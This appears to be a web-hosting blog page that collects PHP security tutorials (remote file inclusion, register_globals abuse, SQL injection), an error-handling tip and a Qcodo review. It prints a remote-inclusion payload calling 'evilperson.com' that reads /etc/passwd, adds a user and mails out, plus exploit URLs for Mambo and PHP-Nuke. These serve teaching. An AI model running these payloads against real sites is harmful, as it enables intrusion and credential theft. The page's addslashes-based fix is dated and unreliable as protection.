The goal of this article is to show common threats and challenges of programming secure PHP applications. The wonderful thing about PHP is that people with little or even no programming experience are able to achieve simple goals very quickly. The problem, on the other hand, is that many programmers are not really conscious about what is going behind the curtains. Security and convenience do not often go hand in hand — but they can.

PHP has some very flexible file handling functions. The include(), require() and fopen() functions accept local path names as well as remote files using URLs. A lot of vulnerabilities I have seen are due to incorrect handling of dynamic file or path names.

On a site I will not mention in this article (because the problem still has not been solved) has one script which includes various HTML files and displays them in the proper layout. Have a look at the following URL:

http://example.com/page.php?i=contact.html

The variable $i obviously contains the file name to be included. When you see a URL like this, a lot of questions should come to your mind:

- Has the programmer considered directory traversals like i=../../../etc/passwd?
- Does he check for the .html extension?
- Does he use fopen() to include the files?
- Has he thought about not allowing remote files?

In this case, every answer was negative. Time to play! Of course, it is now possible to read all the files the httpd user has read access for. But what is even more exciting is the fact that the include() function is used to include the HTML file. Consider this:

http://example.com/page.php?i=http://evilperson.com/badscript.html

Where exec.html contains a couple of lines of code:

<?php
passthru ('cat /etc/passwd');
passthru ('useradd myuser -p password');
passthru ('echo another hacked server! | mail hacker@internet.com');
?>

I am sure you get the idea. A lot of bad things can be done from here.

Per default, PHP writes most of the variables into the global scope. Of course, this is very convenient. On the other hand, you can get lost in large scripts very quickly. Where did that variable come from? If it is not set, where could it come from? All EGPCS (Environment, GET, POST, Cookie, and Server) variables are put into the global scope.

The global associative arrays $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS and $HTTP_SESSION_VARS will be created when the configuration directive track_vars is set. This allows you to look for a variable only in the place you expect it to come from. Note: As of PHP 4.0.3, track_vars is always turned on.

This security hole was reported to the Bugtraq mailing list by Ismael Peinado Palomo on July 25th, 2001. Mambo Site Server 3.0.x, a dynamic portal engine and content management tool based on PHP and MySQL, is vulnerable to a typical global scope exploit. The code has been modified and simplified.

Under the ‘admin/’ directory, index.php checks whether the password matches the one in the database after posting the form:

<?php
if ($row['pass'] == $postedpass) {
session_register("name");
session_register("fullname");
session_register("id");
header("Location: index2.php");
}
?>

When the passwords match, the variables $name, $fullname and $id are registered as session variables. The user then gets redirected to index2.php. Let us see what happens there:

<?php
if (!$PHPSESSID) {
header("Location: index.php");
exit(0);
} else {
session_start();
if (!$name) session_register("name");
if (!$fullname) session_register("fullname");
if (!$id) session_register("id");
}
?>

|If the session ID has not been set, the user will be directed back to the login screen. If there is a session ID, though, the script will resume the session and will put the previously set session variables into the global scope. Nice. Let us see how we can exploit this. Consider the following URL:

http://example.com/admin/index2.php?PHPSESSID=1&name=admin &fullname=brian&id=admin

The GET variables $PHPSESSID, $name, $fullname and $id are created as global variables per default. So when you look at the if-else-structure above, you will notice that the script figures $PHPSESSID is set and that the three variables dedicated to authorize and identify the user can be set to anything you want. The database has not even been queried. A quick fix for this problem — by far not the perfect one — would be to check for $HTTP_SESSION_VARS['id'] or $_SESSION['id'] (PHP => v4.1.0) instead of $id.

Programming in PHP would be boring without a decent SQL database connected to the web server. However, assembling SQL queries with unchecked variables is a dangerous thing to do.

The following bug in PHP-Nuke 5.x has been reported to the Bugtraq mailing on August 3, 2001. It is actually a combination of exploiting global variables and an unchecked SQL query variable.

The PHP-Nuke developers decided to add the “nuke” prefix to all tables in order to avoid conflicts with other scripts. The prefix can be changed when multiple Nuke sites are run using the same database. Per default, $prefix = "nuke"; is defined in the configuration file config.php.

Let us now look at a few lines from the script article.php.

<?php
if (!isset($mainfile)) {
include("mainfile.php");
}
if (!isset($sid) && !isset($tid)) {
exit();
}
?>

And a bit further down: the SQL query.

<?php
mysql_query("UPDATE $prefix"._stories.
" SET counter=counter+1 where sid=$sid");
?>

To change the SQL query, we need to make sure $prefix is not set to its default value so we can set an arbitrary value via GET. The configuration file config.php is included in mainfile.php. As we know from the last chapter, we can set the variables $mainfile, $sid and $tid to any value using GET parameters. By doing so, the script will think mainfile.php has been included and $prefix has been set accordingly. Now, we are in a position to execute any SQL query starting with UPDATE. So the following query will set all admin passwords to ‘1′:

http://phpnukesite.com/article.php?mainfile=1&sid=1&tid=1 &prefix=nuke.authors%20set%20pwd=1%23

The query now looks like this:

UPDATE nuke.nuke_authors set pwd=1#_stories
SET counter=counter+1 where sid=$sid

Of course, anything after # will be considered as a comment and will be ignored.

More to come.

The error reporting built into PHP is crude, at best. Be it a parse error, the infamous “headers already sent,” or a “call to undefined function,” what you’ll see is the error type and filename in bold, some technical jargon, and a line number that may or may not be correct.

But you don’t have to rely upon PHP’s error handling style. For a while now, PHP has allowed you to define your own error handler, such as:

function my_error_handler ($number, $message, $file, $line) {
// Match the formatting, CSS, etc., for your site's style!
echo 'The following error occurred at line ' . $line . ' of file ' . $file . ': ' . $message;
echo 'The existing variables are:' . print_r($GLOBALS, 1);
}

Then you tell PHP to use your handler and not the default one by calling the set_error_handler() function.

set_error_handler('my_error_handler');

From this point in your script forward, most errors will be handled by your function (there are some exceptions, including parse errors, which will still be handled the old way). With my example, the message is printed out with a little HTML formatting and, more importantly, all of the existing variables are printed within pre tags.

You might be thinking that I didn’t really do anything novel with print_r() in my error handler. True, but I could just as easily build up a detailed error message that is then e-mailed to me should a problem occur on a live site (when you shouldn’t display this information to the site’s user).

Just in case that technique is a bit of a yawner to you, I’ll also mention this: Along with the many new features in PHP 5, another method of error handling has been introduced, in keeping with C++/Java/C# style. This format uses the try-catch syntax:

try {
if (!@mysql_connect('localhost', 'username', 'password'))
throw new Exception (mysql_error());
} catch (Exception $e) {
echo 'Could not connect to the database because: ' . $e->getMessage();
}
?>

Of course that’s just a basic example; there’s a lot more than you can do with this method of error handling. In particular, if you’re comfortable with object oriented programming (OOP), you can define and use your own Exception class. Or you can have multiple catch statements, each catching a different type of exception.

PHP is a very easy language to learn and many people without a big knowledge in programming are learning it to make their sites more interactive. Unfortunately, there is a big percentage of those who are unaware of the security risks. Here are most common ones:

Never trust any users on your site
Never, Ever, Trust Your Users. Assume every single piece of data your site collects from a user contains malicious code. Always. That includes data you think you have checked with client-side validation, for example using JavaScript. If you can manage that, you’ll be off to a good start. If PHP security is important to you, this single point is the most important to learn.

register_globals
If you’re an advanced PHP programmer, you’ll most probably know about this. register_globals makes every variable that comes into the script global. (ex: my page is index.php and a visitor visits index.php?p=3. my $p variable is 3.)


if ($password == "mypassword") {
$authorized = 1;
}
if ($authorized == 1) {
echo "my important area";
}


If your server or PHP install has register_globals on then anyone accessing your page: page.php?authorized=1 will gain access to it.

There are two ways to fix a problem like this:
1. Create a .htaccess file & put the following: php_flag register_globals off. However; take note that if you have coded your script in an enviroment with register_globals (where $_POST, $_GET, $_REQUEST is not used). It will break your script.

2. Simply insert a $variable = 0 before you utilize your variable which means if anyone tried using ?authorized=1 then it would be automatically unset.

Error Messages
Errors are a very useful tool for both programmer and hacker. A developer needs them in order to fix bugs. A hacker can use them to find out all sorts of information about a site, from the directory structure of the server to database login information. If possible, it is best to turn off all error reporting in a live application. PHP can be told to do this through the .htaccess or php.ini, by setting “error_reporting” to “0″. If you have a development environment, you can set a different error reporting level for that. You can also write error_reporting(0); in the beginning of your script.

SQL Injection
One of PHP’s greatest strengths is the ease with which it can communicate with databases, most notably MySQL. Many people make extensive use of this, and a great many sites, rely on databases to function.

However, as you would expect, with that much power there are potentially huge security problems you can face. Fortunately, there are plenty of solutions. The most common security hazard faced when interacting with a database is that of SQL Injection - when a user uses a security glitch to run SQL queries on your database.

Let’s use a common example. Many login systems feature a line that looks a lot like this when checking the username and password entered into a form by a user against a database of valid username and password combinations, for example to control access to an administration area:

$check = mysql_query(”SELECT Username, Password, UserLevel FROM Users WHERE Username = ‘”.$_POST[’username’].”‘ and Password = ‘”.$_POST[’password’].”‘”);

If I enter the following into the “username” input box in the form and submit it:

‘ OR 1=1 #

The query that is going to be executed will now look like this:

SELECT Username, Password FROM Users WHERE Username = ” OR 1=1 #’ and Password = ”

The hash symbol (#) tells MySQL that everything following it is a comment and to ignore it. So it will actually only execute the SQL up to that point. As 1 always equals 1, the SQL will return all of the usernames and passwords from the database. And as the first username and password combination in most user login databases is the admin user, the person who simply entered a few symbols in a username box is now logged in as your website administrator, with the same powers they would have if they actually knew the username and password.

With a little creativity, the above can be exploited further, allowing a user to create their own login account, read credit card numbers or even wipe a database clean.

Fortunately, this type of vulnerability is easy enough to work around. By checking for apostrophes in the items we enter into the database, and removing or neutralizing them, we can prevent anyone from running their own SQL code on our database. The function below would do the trick:
function make_safe($variable) {
$variable = addslashes(trim($variable));
return $variable;
}

Instead of using _POST variables as in the query above, we now run all user data through the make_safe function, resulting in the following code:
$username = make_safe($_POST['username']);
$password = make_safe($_POST['password']);
$check = mysql_query("SELECT Username, Password, UserLevel FROM Users
WHERE Username = '".$username."' and Password = '".$password."'");

If a user entered the malicious data above, the query will look like the following, which is perfectly harmless. The following query will select from a database where the username is equal to “\’ OR 1=1 #”.

SELECT Username, Password, UserLevel FROM Users WHERE Username = ‘\’ OR 1=1 #’ and Password = ”

Unless you happen to have a user with a very unusual username and a blank password, your malicious attacker will not be able to do any damage at all. It is important to check all data passed to your database like this, however secure you think it is. HTTP Headers sent from the user can be faked. Their referral address can be faked. Their browsers User Agent string can be faked.

File Manipulation
Some sites currently running on the web today have URLs that look like this:

index.php?page=contactus.html

The “index.php” file then simply includes the “contactus.html” file, and the site appears to work. However, the user can very easily change the “contactus.html” bit to anything they like. For example, if you are using Apache’s mod_auth to protect files and have saved your password in a file named “.htpasswd” (the conventional name), then if a user were to visit the following address, the script would output your username and password:

index.php?page=.htpasswd

By changing the URL, on some systems, to reference a file on another server, they could even run PHP that they have written on your site. Fortunately, again, this is reasonably easy to protect against. First, make sure you have correctly set “open_basedir” in your php.ini file, and have set “allow_url_fopen” to “off”. That will prevent most of these kinds of attacks by preventing the inclusion of remote files and system files. Next, if you can, check the file requested against a list of valid files. If you limit the files that can be accessed using this script, you will save yourself a lot of aggravation later.

Using Defaults
When MySQL is installed, it uses a default username of “root” and blank password. SQL Server uses “sa” as the default user with a blank password. If someone finds the address of your database server and wants to try to log in, these are the first combinations they will try. If you have not set a different password (and ideally username as well) than the default, then you may well wake up one morning to find your database has been wiped and all your customers’ credit card numbers stolen. The same applies to all software you use - if software comes with default username or password, change them.

Leaving Installation Files Online
Many PHP programs come with installation files. A number of these are self-deleting once run, and many applications will refuse to run until you delete the installation files. Many a times, the install files are still online. If they are still online, they may still be usable, and someone may be able to use them to overwrite your entire site.
_______________________________________________________________
Original article by Dave Child. Released under a Creative Commons License.

Hello everyone!

While surfing the web today, I found about this very advanced, yet free PHP 5 framework called Qcodo. While reading about it, I decided to give it a run. For those who haven’t heared about it yet:

The Qcodo Development Framework is an open-source PHP 5 framework that focuses on freeing developers from unnecessary tedious, mundane coding.

It is a completely object-oriented framework that takes the best of PHP and provides a truly rapid application development platform. Initial prototypes roll out in minutes instead of hours. Iterations come around in hours instead of days (or even weeks). As projects iterate into more cohesive solutions, the framework allows developers to take prototypes to the next level by providing the capability of bringing the application maturity.

The framework is consisted of two parts, the Code Generator and Qforms.

The nicest part of it is the Code Generator, it basically says it in the name, a “code generator” pretty much. It just mainly extends and uses already coded classes. What I thought was the best was the “Qforms”. I can’t believe how that feature is so simple, yet nobody never thought of it!

The Qforms is pretty much a system to create forms instead of writing HTML, it’s like a sort of HTML code creator, aswell, it works like any windows programming system where it’ll have “binds” for things that happen. Like a mybtn_Click() function which will run, once the form has been POST-ed.

I’ll be using it a bit more from now on and I’ll try to learn more about it. While I do that, why don’t you try installing it?

_______________________________________________________________
vexxhost web hosting team
vexxhost.com
Quality & Affordable Web Hosting.
As low as $2.55, as much as 10GB Space, 300GB transfer!
Unlimited add-on domains, free domain included and no setup fees!